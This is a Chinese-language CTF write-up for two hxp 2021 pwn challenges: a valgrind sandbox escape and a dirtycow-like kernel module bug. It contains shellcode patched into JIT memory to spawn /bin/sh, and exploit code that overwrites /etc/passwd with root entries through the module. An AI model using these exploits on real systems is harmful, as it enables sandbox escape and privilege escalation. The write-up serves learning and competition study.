..

[hxpctf2021] 部分 pwn 题 writeup

TOC

sandboxgrind

题如其名,使用 valgrind 实现了一个 sandbox。妹听说过 valgrind,搜一下发现是一个用于动态分析的插桩框架。题目很良心,给了源码:

static void SB_(instrument_jump)(IRSB *sbOut, IRJumpKind jk, IRExpr *dst, IRExpr *guard)
{
    switch (jk) {
    case Ijk_Boring:
    case Ijk_Call:
    case Ijk_Ret:
    case Ijk_Yield:
        return; // Ignore "normal" jumps and calls
    // For some reason, IRJumpKind has a ton of syscalls, but we don't allow any of them. Same goes
    // for any emulation errors and invalid instructions. We don't abort here, because they may still
    // be unreachable (we need to evaluate the guard expression first).
    default:
        SB_INSTRUMENT_FN(sbOut, SB_(illegal), guard, jk); // Abort on invalid instructions and emulation errors
        return;
    }
}


static IRSB* SB_(instrument)(VgCallbackClosure *closure,
                             IRSB *bb,
                             const VexGuestLayout *layout,
                             const VexGuestExtents *vge,
                             const VexArchInfo *archinfo_host,
                             IRType gWordTy,
                             IRType hWordTy)
{
    IRSB* sbOut = deepCopyIRSBExceptStmts(bb);

    for (Int i = 0; i < bb->stmts_used; i++) {
        IRStmt* st = bb->stmts[i];
        switch (st->tag) {
        case Ist_Dirty:
            // Call to a C helper function
            SB_(instrument_dirty_call)(sbOut, st->Ist.Dirty.details->cee, st->Ist.Dirty.details->guard);
            break;
        case Ist_Exit:
            // (Conditional) exit from BB
            SB_(instrument_jump)(sbOut, st->Ist.Exit.jk, IRExpr_Const(st->Ist.Exit.dst), st->Ist.Exit.guard);
            break;
        default:
            break;
        }
        addStmtToIRSB(sbOut, st);
    }
    SB_(instrument_jump)(sbOut, bb->jumpkind, bb->next, NULL);
    return sbOut;
}

中间语言是非常火的 IR vec,核心逻辑非常简单,就是在每个 Super Block(好像和 Basic Block 还不一样)的出口插个桩检测下,即引起控制流变化的指令得是 [Ijk_Boring, Ijk_Call, Ijk_Ret, Ijk_Yield] 中的一个,意思就不允许系统调用了。这可把我整急眼了,没有系统调用我可咋活啊。

首先想的是,插桩框架嘛,那流程肯定就是:二进制–[反汇编]–>IR–[插桩]–>IR_plus–[汇编/生成]–>目标代码。最开始想着用花指令让他找不到 syscall 所在的代码块,结果试了好几个花指令都不行,心想你这玩意儿比 ida 牛逼这么多呢?

后来再去搜搜发现这玩意儿是 JIT 的,那我寻思我也绕不过就不饶了。发现 valgrind 没开 PIE,并且这种存放 JIT 代码的八成是 rwx 段,那就直接调试一下在内存中搜索 JIT 代码的位置,让代码运行的时候把后面的指令给改了。类似:

void test3(){
    asm(
        ".intel_syntax noprefix;"
        "mov rax,  0x1002d9d287;"
        "mov DWORD PTR [rax], 0xb848686a;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x6e69622f;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x732f2f2f;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0xe7894850;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x1697268;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x24348101;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x1010101;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x6a56f631;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x1485e08;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x894856e6;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x6ad231e6;"
        "add rax, 4;"
        "mov DWORD PTR [rax], 0x50f583b;"
        "add rax, 4;"

        ".att_syntax noprefix;"
            );
}

void _start(){
    char buf[0x20];
    test3();
    while (1){}
    return;
}

trusty_user_diary

kernel 题,恰好考到了最近在看还没看完的 linux 内存布局。比赛的大部分时间都在一边学一边做,在第二天找到 dirtycow 的 writeup,但当时干眼症犯了就没继续做题了,后来复盘发现这个题其实可以看作是 dirtycow 的一个子集,觉得还是有点可惜。

看接下来的内容之前,我强烈推荐你去看这一篇对 dirtycow 漏洞的精彩分析。并弄懂两个问题:为什么要通过带外内存访问(/self/proc/mem)的方式来触发【理解 __get_user_pages() 中的处理流程】?为什么 __get_user_pages() 没有修改只读属性为可写但最后仍能实现覆写【理解’特权’写的原理】?

回到题目中来,内核模块暴露了 5 个功能:

  • 0x11: 用户指定虚拟地址,ko 会使用 vmap 将虚拟地址对应的物理页映射到内核空间,保存这个地址
  • 0x22:ko 使用 get_free_pages() 进行页分配并得到虚拟地址,然后用用户指定的内容进行填充,保存这个地址
  • 0x33: 释放 0x11 创建的映射或者 0x22 创建的页及映射
  • 0x44: copy_from_user
  • 0x55: copy_to_user

最开始因为 0x33 用 vfree 来释放 vmap 出的地址(正规点应该是 vmap/vunmap & vmalloc/vfree),还以为会有 double free 之类的漏洞,看了一会儿源码之后才发现,如果 vmap 的 flags 不指定 VM_MAP_PUT_PAGES 的话 varea 里都不会记录对应的 pages 的信息,根本走不到调用 __free_pages() 的路径,更别谈其他的引用计数之类的机制了。

漏洞点还是出在最复杂的功能 0x11:

	if ( cmd != 0x11 )
    {
		pages[0] = 0LL;
		v6 = *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 0x870);// get_current_mm
		pages[1] = 0LL;
		pages[2] = 0LL;
		pages[3] = 0LL;
		down_read(v6 + 0x78);
		v7 = find_vma(v6, arg_on_stack.addr);
		if ( v7 )
		{
			if ( (*(_QWORD *)(v7 + 80) & 3LL) != 3 )// vm_flags & RDWR
			{
				ret = -1LL;
				up_read(v6 + 0x78);
				kfree(obj);
				goto return;
			}
			v19 = pin_user_pages_fast(arg_on_stack.addr, 4LL, 0LL, pages);// <= vul here! but checked before?
												//   (FOLL_READ)
			ret = v19;
			if ( v19 <= 0 )
			{
				up_read(v6 + 0x78);
				kfree(obj);
				goto return;
			}
			if ( v19 == 4 )
			{
			addr = (void *)vmap(pages, 4LL, 4LL, _default_kernel_pte_mask & (sme_me_mask | 0x8000000000000163LL));
												// void *vmap(struct page **pages, unsigned int count,
												//        unsigned long flags(VM_MAP), pgprot_t prot)
			if ( !addr )
			{
				unpin_user_pages(pages, 4LL);
				ret = -12LL;
				up_read(v6 + 0x78);
				kfree(obj);
				goto return;
			}
			page = pages[0];
			obj->type = 1;
			obj->pages[0] = page;
			obj->pages[1] = pages[1];
			obj->pages[2] = pages[2];
			obj->pages[3] = pages[3];
			up_read(v6 + 0x78);
			goto link;
			}
			unpin_user_pages(pages, v19);
		}
		ret = -22LL;
		up_read(v6 + 0x78);
		kfree(obj);
		goto return;
    }
  1. 检查用户指定的地址对应的 vma 条目是否有读写权限
  2. 调用 pin_user_pages_fast() 获得地址对应的物理页
  3. 调用 vmap() 映射物理页到内核空间,获得一个指向其的虚拟地址
  4. 记录下虚拟地址供之后的读写操作使用

如果你已经知道了 dirtycow 的原理,那你可以直接看出来这里相当于直接给了 dirtycow 满足竞争条件后的情形:未指定 FOLL_WRITE 作为 gup_flags 调用 pin_user_pages_fast(),并在之后写入获得的页面。这将会给我们任意可读文件写入的能力,只需要通过以下的步骤就可以修改 /etc/passwd 的内容:

    int passwd_fd = open("/etc/passwd", O_RDONLY);
    void *mbuf = mmap((void*)0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE, passwd_fd, 0);
    if (mbuf < 0){
        error("[-] mmap file error");
    }
    size_t *tbuf = mmap(mbuf+0x1000, 0x3000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if (tbuf != mbuf+0x1000){
        error("[-] mmap anonymous error!");
    }
    ko_add_vmap(1, (size_t) mbuf);
    strcpy((char *)buf, "root:x:0:0:root:/root:/bin/sh\nctf:x:0:0:Linux User,,,:/home/ctf:/bin/sh");      
	ko_upload(1);

如果你并没有仔细看过 dirtycow 的分析,那你可能会好奇:

  • 为什么以 O_RDONLY 打开的 fd,可以通过 PROT_WRITE 来调用 mmap 映射?原理详见 MAP_PRIVATE 相关知识,简要概述就是 MAP_PRIVATE 指定这个映射是私有的,虽然你对原文件只有读权限,但是如果你非得想写,内核也可以给你拷贝一个副本让你写着玩。注意 vma 的属性,即 ko 中判断读写的属性,是由 mmap 指定的属性决定的,所以就可以通过检查
  • 为什么没有指定 FOLL_WRITE 获得的页也可以写入?because kernel is god,是否可写是通过 pte 的属性来控制的,内核和用户不走同一个 pte
  • 为什么这次的写入不是写入到副本?可能需要了解 cow 及处理流程,简单来说由于调用 ko 的 0x11 功能之前没有对映射出的页面进行写操作,所以其指向的是原文件对应的物理内存,而具体的 cow 操作是在 pin(get)_user_pages 里做的,并且依赖于参数中 gup_flags 被设置 FOLL_WRITE,所以这次调用 pin_user_pages 结束的时候都还没有做拷贝的操作,所以就是获得的原文件物理页。
利用的方法和以前的 kernel pwn 不太一样,并且 dirtycow 中修改 /etc/passwd 的操作在这里似乎也行不太通,暂时等等别的队伍的 wp 做个总结再来补充